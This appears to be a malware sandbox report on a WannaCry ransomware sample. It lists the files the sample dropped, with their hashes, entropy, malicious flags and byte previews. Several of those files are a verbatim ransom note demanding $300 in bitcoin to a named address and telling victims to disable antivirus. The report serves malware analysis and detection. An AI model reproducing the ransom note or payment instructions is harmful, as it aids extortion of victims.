                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):245760
                                                                                                                        Entropy (8bit):6.278920408390635
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                                                                                                        MD5:7BF2B57F2A205768755C07F238FB32CC
                                                                                                                        SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                                                                                                        SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                                                                                                        SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                                                                                                        Malicious:true
                                                                                                                        Antivirus:
                                                                                                                        • Antivirus: ReversingLabs, Detection: 97%
                                                                                                                        Joe Sandbox View:
                                                                                                                        • Filename: WannaCry.bin.zip, Detection: malicious, Browse
                                                                                                                        • Filename: f_000112, Detection: malicious, Browse
                                                                                                                        • Filename: WannaCry_2.EXE, Detection: malicious, Browse
                                                                                                                        • Filename: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, Detection: malicious, Browse
                                                                                                                        • Filename: LisectAVT_2403002A_126.EXE.exe, Detection: malicious, Browse
                                                                                                                        • Filename: LisectAVT_2403002A_126.EXE.exe, Detection: malicious, Browse
                                                                                                                        • Filename: LisectAVT_2403002A_223.exe, Detection: malicious, Browse
                                                                                                                        • Filename: , Detection: malicious, Browse
                                                                                                                        • Filename: , Detection: malicious, Browse
                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                        C:\Users\user\AppData\Local\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133808392621763174.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):111960
                                                                                                                        Entropy (8bit):7.9984692416027565
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:1536:kDxny7feS1EJBOV1wd2r7yf/KBObIXw2MqB1qjzFKHTMd9RzBFe5jI+YJpWMDOmt:wnWKJBI7IIXsWOzFKIVz7eq+u/zdKQ
                                                                                                                        MD5:C3B8B0DD735455A1F1765ABEBEADF23B
                                                                                                                        SHA1:310A500F14D43BB7F275C7FF4D22DA9E917CFA5A
                                                                                                                        SHA-256:4CBADF0EFAE54085DA3AE970D56EB976548E52DBC05D9A3A0AF66D92FE7017B0
                                                                                                                        SHA-512:5069BE3856C3842F297AD6F2B45FE4B1807D222FAA5D729B1CA471D97761C5A4959C916A1FE4CBA1931405913BA4E8A120FFCF3DF9F12CF07ACF2A21944410FC
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....Z....a..I[.c....-BI.P......A.e.]..~... h.....jXa..,...G..`g...2....*.o.4A~.1(....YS<%..[Hw..c'...n^e......H...._...B.<....x48*..._.5..5V.G.._.9....s..mV.. ]......0.*).%.WI.......:.8........T.#..KN....=PGk..!.....U.`.lL...g..Ky..N...........<.........^..f.d.&...fhXC_....=Dj.u..q....h...gj.........<.M...BK..X.....d.7..^.!&..2...=..>.p....~..*..t.,Wtxl...yC..oZQ..y.,.....:..:.,.j.#..G..a..\..E.h.J.!...]......]F.L..A=.ISQRF..5.b..q.%....b.......H.K....oc.~.:.-G.o..3...[.cv..2d&(...Og..6.v..{;..)..._..DG.y-..B.....BD,j.h~.B.E.....4.S<.:....@......l...2.K...*e}.^|......j.+=..'.>@...ey....l.......]..4.;..:....m....C.....I^. @_.L.">.`..i...x%.R+.LJ:..t.?..?T..\.\.tC..?.....c(.Ip....u@]......}...D..?l.a....V....5..........L...\..Ih....?V.....GX..+....:j.......\bp.HK.n....!....Y.F.0.d.w........W2.....?.-...,.o5.....F...U....G%34.%.%Nb.I.P4.'.g......n .N...[>....{...~.m.k.;d..>.....?)".?..i..{.T.3^.....:.^"..V,....6..jmX/.7....p.....

                                                                                                                        C:\Users\user\AppData\Local\ConnectedDevicesPlatform\1ae6599e75337c3a\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\Users\user\AppData\Local\ConnectedDevicesPlatform\1ae6599e75337c3a\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\Users\user\AppData\Local\ConnectedDevicesPlatform\1ae6599e75337c3a\ActivitiesCache.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1048856
                                                                                                                        Entropy (8bit):7.9998148941984155
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:24576:Rvk1zLa2zUhFV1WO10bFfLezxQQWoSMxqtIl0rTkVTMIHmZiuNpBGz:Rvk1JUhFVf0bFfLqxQQWoSMIS0roVwI7
                                                                                                                        MD5:E108677636B5A9CA5E895F9088EDCDB0
                                                                                                                        SHA1:5915D06E68AEED5E545D9AE5ED4A6FC322EBD947
                                                                                                                        SHA-256:620517816C3755D692312816B3D91C3804DDFCC1D7F08BBC849112B42081F6EC
                                                                                                                        SHA-512:F7AC0B74F8FBD9D3E829277C54885683194CDB4E98108E1F88D4FF4998C589D85C7CA651EF5BF25CF081EFC03C496D5231D7BC66CB930952798DC3F9D6B48CFB
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....z...B`O-..p.`.wTT.../_....M...........f...w-.gj.$#A..P...?.2....2....E.W..x..X.$(C.....r.&(2.T.....V...J.Z1Y;.....Q..t.$?....2...Kg7..h..<...u.......,^2.6U.$y.....53`e.h..c]..;.....>.rE....p....i|9...c.n...y..8.7.yx.M...1.~.gn~.....K..WISK......................qn.D.o....y.E&..D..;;.............Yf..C.....kd]..."..N..oF....z9t...V&.Fb..W..1......RdR`c.4.h`...ZG..s.....R....)B6....w.7.,....d|.H._55..%.^.].@,../..([?#.si..t.m.E...n<...{...6"..".>.|..%O....u.H..4R..j......n...-...nT.Y.S)..)$...}#~..F..'"..m;..p...A..b.a.......N....6$..p.|.7.~..o..wN<...{....'.z"..).......}.I....Y....a&).....;0.4.....DE./.Xn.. .......2..../O*...........]....-....;......;QJa..R...w.......m....z. ..HQ~,.i,TY..."....,^....E.ob....|.O......W.ZX".~m.w.j_..7...(...M.Y.;Z@P.y. .......=,..<D.,.........j0P.D.m.)5....e.R.V.A....[.:..}..39r'........h.T&..a.P.5....,.....q...,T#.5#..c.)4.....K..W..kc.x-..N...(..KD.....`.......L.L.)8.Dtp.(...(U..........#T.J..q

                                                                                                                        C:\Users\user\AppData\Local\ConnectedDevicesPlatform\8628dc546dc99469\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\Users\user\AppData\Local\ConnectedDevicesPlatform\8628dc546dc99469\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\Users\user\AppData\Local\ConnectedDevicesPlatform\8628dc546dc99469\ActivitiesCache.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1048856
                                                                                                                        Entropy (8bit):7.999838375384609
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:24576:oqLSIS0votDW6LOBDreyA9szqy1/kUZNJcTlapBs1lWrtfBf3w10u2BjQQS:rK0votDhOQyTbN2lapB+Ati10unQS
                                                                                                                        MD5:A0410B3F2019E81FE47B68B3847B6BC3
                                                                                                                        SHA1:61DB7AA2D3C30E83F50A91F12EC8852C76DF0758
                                                                                                                        SHA-256:1EB1F6A1B81425FD201144FB41233EAD5B75EF180260732ACC2B8C86A82088CE
                                                                                                                        SHA-512:B051B527F69C6517EEA1B0ED6B314FE07AC3074B70A46D3FEFF946D384227BD8817948BA1B6896D43B622E0226B3548B33CEB01C8BDDBBE1B6A52DF507B76A00
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!........L.z....s.*..!.O.$.W1....7.s(].b..R.....p..s.Y..{t.V.e .F+...B..M.....("..h.]_A\...1....p...5.2.'.!DDkb.*.U..Y"*!.X.B.N.1...B..X....7phd."./.`vD@..4s....e....q.q...Fc#.*..+...-<v.'....P.....8....o..BU.y.p..g..O.&..;i."!.%...z..j...8.@.pR..T................$?Z.T...I....eYl......|....w'K.c`.ej.<.....`4.Y~......*.s%...F..w.H.?..6./.s.....S.r`&....$..L.9z..%..H.3..h.Y.T..,..Z.....9W(..L..0..x...9.....g....7..+.P.s...%.,.&.\..P...".z...1....j.g...G.I..1Q.).^..(..N5...t..?.*..go...y.O^5......g.s..>...'.O....?.tE,...X..U.?+.,.>....Pw!. ..,Ze!.....,.%.(.m4....8../C..;..z...8>R1..C.B..2*..@.M3R....E!5...s..;.c.....?...#..JUG..7..O.D.7.V.G.8..D..lL6.......d~...gj..@.^.RUE..T%d...2.F...U%..3:.7..7..{.;.I&.T.P!}%....F.D..gw...0^8b..b....w...S3(...... ...r..,........l.S.R.!..w........p.K...I.!.H...Jtw/......).#`...O.C.;}...~.5o.#..$0A^W.......@G6U.*gW.q..i...VZ.....0..(..!....C...UF...fr..h..i...Z/. ...<Tl.:DWj.%..R.)w..8...t...rm.

                                                                                                                        C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1048856
                                                                                                                        Entropy (8bit):7.999801003489838
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:24576:JywjcoZuOJfqB7tV4zcmelYclbey4iG7s:DjmO5YtVOcmefSWG7s
                                                                                                                        MD5:B2F7A3041A794280F9909BA04C6573E2
                                                                                                                        SHA1:735A061F582255F3880D75F8E1A80FD579AFCDBB
                                                                                                                        SHA-256:08150183450AA8582557E13608220404E287CF54107D7E5C1D6333C3643A9DC7
                                                                                                                        SHA-512:4BD3E8FE3ED51577919A4E9ECF74E67F75469AE89B618C5047F1E8E113912956A6628E41CAB92C7387DBB5CE032C959A07D2EBC1F28D0926EA7199C98844B1D6
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.......n...3..M)S5UD.{..T~.?....}..F.I.u..{.4B.'.6....`>........Y...B.!B...b....s.]p.O.....BA......CX....l..l.$EF(...<.~E.3#....Sh .2O...Q.....__.Y*(....l..O...k`..~]...M..P.R...yo...4...2.W..DE."..y."AJP..d..F%){..4.C"Qb..,.x..Zo".WmE.x...gf..z7chLd...............{kq......" ..}V]..}..w.Q.5t.\..K).^.}w<...Mc....^...6.......U.....K...5..V....8..x.M.{J..P.l...XkD...(......@..gB....c.@...+(........6Ag..Y..S..H.?U.L.>.}..g.k*..4....i..Y./..`s..~...<..{..7......Z..N.....*a..3....9...@.12...q....fL..$.`@#....K..7.>..T4..o....\0..GO.=QG......D....E]..Z`oP.......^...(.g...zs.cg...e+h....Tp`....$$.....V%..s.U.".^...<k..E....{R.y.pr..J.{...]...K....._..~t....TB(...w...m%.......#..L%^.>m.....i.R.......W9.7)M..7..-...T.5.l...#......`AEp.x....d...........xF...r.....`.....9...$6"Sgg.....]...%o.......Y}jb*.._s...}.x...k...EW.....;;fv.....O...7.Tx......_M..:.,3...u.....\T......+.ZVz..+......]S^.....^E.\=p.z'_.$..e.....D.?<...AC.#P>...$C.......w..Q eS.....>4%..

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\icon_128.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3656
                                                                                                                        Entropy (8bit):7.943039331371213
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oybrxr+bjjisx8NkD9QxfWFLTUslW1tbeAEVMaV:dxrYtGyDKlWFEvbeVKm
                                                                                                                        MD5:F52E169638D5DBC2A21D8B826480F169
                                                                                                                        SHA1:75A88C5C09B612ED5556DEDCD8765DB81C29C8CC
                                                                                                                        SHA-256:AACE72CA0FD43E37CA40367980DDEC8534631603362C172F275FA50D172608EE
                                                                                                                        SHA-512:FB2DFE7099143EDCC64EE48E5616F307568EDD0F21E9F55314A34FDEDAF38D8CC46809FDD36C3A5C7E773791E8D631206E442C59D3325FDC43E7DAA1AAC13CA9
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....5..W....#.+.J.k..I._E..lB....tz...'^u....(@....'.N..........|>.5_.@.P6.mh..;...>.wR..1...y..P.^....=}._....8.&........P...4QT..,.T?O.8.'.....0..l?z9..._...I.".}9Q......t..p..Ic..C.j...:..NM.!...7..J..d.#+..%\.x.6.4.G......{bh..I9Ch...\+ >...,...).....,.......<!..\.....d..^{U\a:...X.BlJ.....`g#....."..od.......`.o...a.....pfE.......n!..<U.....8}$.L...U..(......%....vV'.....c..8{>...P....U.....Yt........5.y....G...m.G@>i......a.hN..= \.R..6.M%.aB.cW..`.kNjz...4.....A..53:.wZ..=..:'{.|~...X.BY..4.(...j..N...8M.l..ni.....W..!...S.....e........l..H.?.1W/.o0........KM@3|.~..vy.,..:...P.C.x5]/2.9b..r08.M....Y...DQ.Y..R...I.T.../}=..M.h....`.s.....j.<..t...o...y..w@.S^t...k...F....~.d7..%^.F.BR/..a..<!..g&....q.........B...t`.....S...W..u...(......2...hai...A.. `z,U4T.jA<(.2..s>..7.5..."[{"by....Z!.*....i..@.*.....6Uar2W=`BX..[...|..c..".n]...[p+.M...K..'.m?O...S...I.&-.-T...7.=u..$..]/...._A.....-.,.a.js"X.......(\..Z.U.P"+.D4G..8.U

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\icon_16.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):440
                                                                                                                        Entropy (8bit):7.382116803385387
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:bkEXHgjx3091kzdMdCOyuxHXWc1vsuEj5Q:bktKbkzudjy1chN
                                                                                                                        MD5:665FCC0FBD2237620C97C3A2CF7B302F
                                                                                                                        SHA1:14F39E0F83B26AB60BE2B6D83758593B56647BB8
                                                                                                                        SHA-256:F1660B0C22679B99D199EA0042BE145611705624F07C20835C89D7E0F6EB3AC9
                                                                                                                        SHA-512:FF1EAE4D5E6017294902CE735F119EF767966F81E18F3D12650037DE2977B6A7DDEE4BB0839966C091184C83F3DAE5BC5BFB87DD09309098A31E3AECCEEE56AD
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....}.....=b......[t._%^....`..Y...O....eq......U...V.fQ~...9#..t...W,f.p..Wf.?..&F..z...."..O..A7j.).......V\..ql..VSV(...}..i.....`e..]G....sJ.75.(.+).&...Qig"....:..n..-.w,r.69....).s...R..~.U..z...U4....Q.4S.[U...Ah(..Bm+.._...^.z........l.%.DS...............R.....I..pXd.........W-&.1...)(.x. .=P......eUk....@S............P:\\u1.....ds......){"..u..]..l....q..D.1V..c....V..a.,E..}..XA..)W..:m....f.!~4...^

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\main.js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):376
                                                                                                                        Entropy (8bit):7.334990100565892
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEdYffTqCHD4dxFEjO/kkrYvOmqpLpu2SHwqRF6utpveofCUBmMMsOn:bkE4BjnnGLpZDAk6pX9lMF
                                                                                                                        MD5:4E2920B3DE573B94E79B7278D6122C18
                                                                                                                        SHA1:489E4B8BB7D0BA542B13B9143676CB8FB67C6E24
                                                                                                                        SHA-256:6E0299A4A143E4042D0F74FDDB9723FB175F3B96417628499BC477840967F593
                                                                                                                        SHA-512:952D334C466BA6C6CEF2DA352F4955556576017C378AFA8EAB1BE8E6279FB3E9DF8AF974BF20102B0B008B92EEEB64E36158D05B3C9E92C0D3B853CF5B450ED4
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....+V..}.S...neA......]..e.;...~..l..9.Nr.....S.!b..9xH/.'..e..[.]...Hf.'...T.WM....T.?.d..K..k.dk5.5.D.b....8z...E..,~6.7G.=u.s..=..c..).K.,'....a...i....[...b....W"...wQ.)c..Tp.\.qO..d..)/../.[Z_<..&#...3.c.s..R....g.x........^..%I..b.....W..6X...v...._.........j....M)N..XOjB.......:..../~.C....r..??.......W...6.bXbd..+iAs.a.....6|..e......j.e...*{d%

